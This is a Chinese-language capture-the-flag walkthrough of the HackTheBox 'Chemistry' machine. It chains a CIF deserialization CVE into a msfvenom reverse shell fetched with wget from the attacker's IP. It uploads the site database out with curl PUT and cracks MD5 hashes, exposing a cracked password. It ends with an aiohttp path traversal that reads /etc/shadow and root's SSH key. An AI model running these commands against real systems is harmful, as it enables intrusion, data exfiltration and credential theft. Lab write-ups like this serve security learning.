路径穿越私钥泄漏-HackTheBox-Chemistry

端口扫描得 22 和 5000

5000 端口有用户界面,注册一个新的进去,是一个化学相关的 app,服务是上传 CIF 文件然后分析

可以搜到 CIF 相关的 CVE CVE-2024-23346

大概就是反序列化,见 2024-23346.cif

尝试了一下,之前的独轮车不太好用,似乎是屏蔽了部分字符,改用做好的 msfvenom shellcode

wsgidav -p 8888 -H 0.0.0.0 -r. --auth anonymous

msfvenom -p linux/x64/shell_reverse_tcp -f elf LHOST=10.10.16.22 LPORT=443 -o 443

nc -nvlp 443

把 payload 的 cmd 改为

/usr/bin/wget 10.10.16.22:8888/443 -O /tmp/443 && /usr/bin/chmod 777 /tmp/443 && /tmp/443"

进去之后发现用户 rosa 和网站数据库 instance/database.db

curl -X PUT 10.10.16.22:8888/database.db --upload-file instance/database.db

看到一堆用户和 MD5 密码,和一个已经上传的文件,文件上传者是 rosa

爆一下 rosa 的密码,hashid 看了一下是 MD5

hashcat -m 0 hashes /usr/share/wordlist/rockyou.txt

得到 rosa 的密码 unicorniosrosados

拿 rosa 和密码去登录 ssh,成功

发现 8080 开了一个 HTTP 服务,本地监听,转发一下

ssh -N -R 127.0.0.1:18080:127.0.0.1:8080 -p 2222 attacker@10.10.16.22

没有什么攻击面,但是服务的版本是 aiohttp 3.9.1,是有一个路径穿越的 CVE CVE-2024-23334

网上的 exp 大多是 /static/../etc/passwd,试了一下并不行,似乎是因为这题的静态文件是放在 assets 下面(看一下 js 怎么请求的即可)

手动 fuzz 一下,最后的 PoC

curl --path-as-is -s 'http://127.0.0.1:18080/assets/../../../../etc/shadow'

尝试几个私钥 id_rsa,id_ecdsa,id_ed25519,…

curl --path-as-is -s 'http://127.0.0.1:18080/assets/../../../../root/.ssh/id_rsa' > root_id_rsa

直接 ssh 登录,pwned